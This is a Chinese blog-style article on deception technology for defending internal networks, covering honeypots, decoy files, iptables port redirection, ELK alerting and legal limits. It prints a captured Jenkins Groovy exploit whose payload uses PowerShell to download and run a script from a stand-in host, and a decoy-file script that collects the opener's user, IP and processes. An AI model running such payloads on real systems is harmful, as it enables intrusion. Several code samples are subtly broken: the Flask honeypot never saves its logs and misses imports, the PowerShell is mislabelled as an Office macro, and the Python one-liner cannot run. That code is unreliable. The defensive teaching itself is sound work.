一、为什么内网需要"钓鱼执法"
想象一下,你是一家公司的网络安全负责人。某天凌晨三点,监控系统突然报警显示内网有异常流量,但等你爬起来查日志时,攻击者早已清理痕迹溜之大吉。这种"猫捉老鼠"的游戏每天都在上演,而欺骗技术(Deception Technology)就像是给老鼠笼子里放了块奶酪——让攻击者自投罗网。
传统防御就像守大门,而欺骗技术是在院子里埋地雷。我们故意在内网放置虚假的:
- 根本不存在的"财务数据库"
- 看起来像管理员账号的蜜罐账户
- 伪装成漏洞百出的老旧系统
去年某次攻防演练中,我们部署的虚假AD域控制器就成功捕获了攻击者使用Mimikatz的全过程,整个过程就像看真人秀一样精彩。
二、欺骗技术三板斧
2.1 蜜罐的七十二变
用Python搭建的简易HTTP蜜罐,可以记录攻击者的每个动作:
# 技术栈:Python + Flask
from flask import Flask, request
import json
app = Flask(__name__)
@app.route('/<path:subpath>', methods=['GET', 'POST'])
def catch_all(subpath):
# 记录攻击者所有请求细节
log_entry = {
"timestamp": datetime.now().isoformat(),
"ip": request.remote_addr,
"method": request.method,
"path": request.path,
"headers": dict(request.headers),
"data": request.get_data().decode(errors='ignore')
}
# 伪装成正常响应避免打草惊蛇
return "404 Not Found", 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
这个蜜罐会:
- 记录所有访问路径和POST数据
- 伪装成普通404页面
- 特别适合捕获webshell上传行为
2.2 诱饵文件暗藏玄机
在共享目录放置"机密合同.docx",其实是个监控脚本:
# 技术栈:PowerShell + Office宏
Function Document_Open() {
$clientIP = (Invoke-WebRequest -Uri "https://api.ipify.org").Content
$logFile = "\\监控服务器\logs\$env:COMPUTERNAME-$clientIP.txt"
# 记录打开者信息
"用户 $env:USERNAME 在 $(Get-Date) 打开了文档" | Out-File $logFile -Append
# 获取运行进程列表
Get-Process | Format-Table -AutoSize | Out-File $logFile -Append
# 显示真实文档内容避免怀疑
$doc.Content = "这是公司机密合同..."
}
这个诱饵会:
- 记录打开者的用户名和IP
- 获取当时运行的进程列表
- 最终显示正常文档内容
2.3 端口诱骗的艺术
用Nmap扫描时,攻击者最兴奋的就是看到3389、22这些管理端口。我们用iptables给他们准备"惊喜":
# 技术栈:Linux iptables
# 将扫描到的22端口重定向到蜜罐
iptables -t nat -A PREROUTING -p tcp --dport 22 -j DNAT --to-destination 10.0.0.100:2222
# 记录所有连接尝试
iptables -A INPUT -p tcp --dport 2222 -j LOG --log-prefix "SSH_HONEYPOT: "
# 在蜜罐上运行伪装SSH服务
python -c "import socket as s;so=s.socket();so.bind(('0.0.0.0',2222));so.listen(1)
while 1:rs,ra=so.accept();rs.send(b'SSH-2.0-OpenSSH_7.4\r\n');data=rs.recv(1024)"
这套组合拳能:
- 让攻击者以为发现了真SSH
- 记录他们的爆破工具特征
- 消耗攻击者时间资源
三、实战中的攻防博弈
去年某次事件响应中,攻击者已经渗透进内网。我们在他们可能扫描的网段部署了:
- 虚假的Jenkins服务器(运行在8080端口)
- 名为"薪资表.xls"的Excel监控文件
- 伪装成数据库的MySQL蜜罐
三天后,攻击者果然上钩。通过Jenkins蜜罐我们捕获到他们使用的漏洞利用代码:
// 攻击者实际使用的漏洞利用代码(已脱敏)
public class Exploit {
public static void main(String[] args) {
try {
String cmd = "powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://mal.com/shell.ps1')";
// 利用Groovy脚本执行漏洞
String payload = "def cmd = '"+cmd+"'.execute();println(cmd.text);";
// 发送恶意请求
URL url = new URL("http://jenkins.internal/script");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.getOutputStream().write(payload.getBytes());
System.out.println("Exploit completed");
} catch (Exception e) {
e.printStackTrace();
}
}
}
通过分析这段代码,我们不仅加固了真实的Jenkins服务器,还溯源到了攻击者的C2服务器。
四、欺骗体系的运营之道
4.1 诱饵要逼真但不能太真
曾经部署过"过于完美"的AD蜜罐,结果连自家运维都当成真服务器去用了。好的诱饵应该:
- 包含合理的错误(比如偶尔超时)
- 有看似真实但实际无效的登录凭证
- 与其他真实系统存在合理关联
4.2 日志分析是关键
欺骗系统产生的日志要用ELK堆栈实时分析:
# 技术栈:Python + Elasticsearch
from elasticsearch import Elasticsearch
from datetime import datetime, timedelta
es = Elasticsearch(['http://elk.internal:9200'])
# 查询最近1小时的高危事件
def check_honeypot_alerts():
query = {
"query": {
"bool": {
"must": [
{"term": {"tags": "honeypot"}},
{"range": {
"@timestamp": {
"gte": "now-1h",
"lt": "now"
}
}}
]
}
}
}
results = es.search(index="logs-*", body=query)
for hit in results['hits']['hits']:
print(f"告警: {hit['_source']['message']}")
# 每小时运行一次
while True:
check_honeypot_alerts()
time.sleep(3600)
4.3 法律红线不能碰
部署欺骗系统要注意:
- 不能主动攻击扫描者
- 收集的数据要符合隐私政策
- 保留证据链用于取证
某公司曾因在蜜罐中部署反制代码而被起诉,这个教训要牢记。
五、技术选型的平衡艺术
5.1 开源方案 vs 商业产品
开源方案如T-Pot功能强大但需要自己维护:
# T-Pot多合一蜜罐部署
docker-compose -f tpot.yml up -d
商业产品如Attivo配置简单但价格昂贵,适合金融等高风险行业。
5.2 云环境特殊考量
在AWS上部署时要注意:
- 使用VPC流量镜像复制到蜜罐
- 利用Lambda实现无服务器蜜罐
- CloudTrail日志要与蜜罐日志关联分析
六、写给防御者的建议
- 从攻击者视角思考:他们最想要什么数据?会走哪条路径?
- 欺骗系统要"动静结合":既有长期存在的静态蜜罐,也要有动态生成的临时陷阱
- 与其他安全系统联动:当蜜罐触发告警时,自动在防火墙添加规则
- 定期更新诱饵内容:跟上最新的业务热点和漏洞趋势
- 做好事件响应预案:捕获到攻击后下一步该做什么?
记住,最好的防御是让攻击者自己暴露。就像老猎人说的:要抓狐狸,先得知道狐狸喜欢什么气味。
评论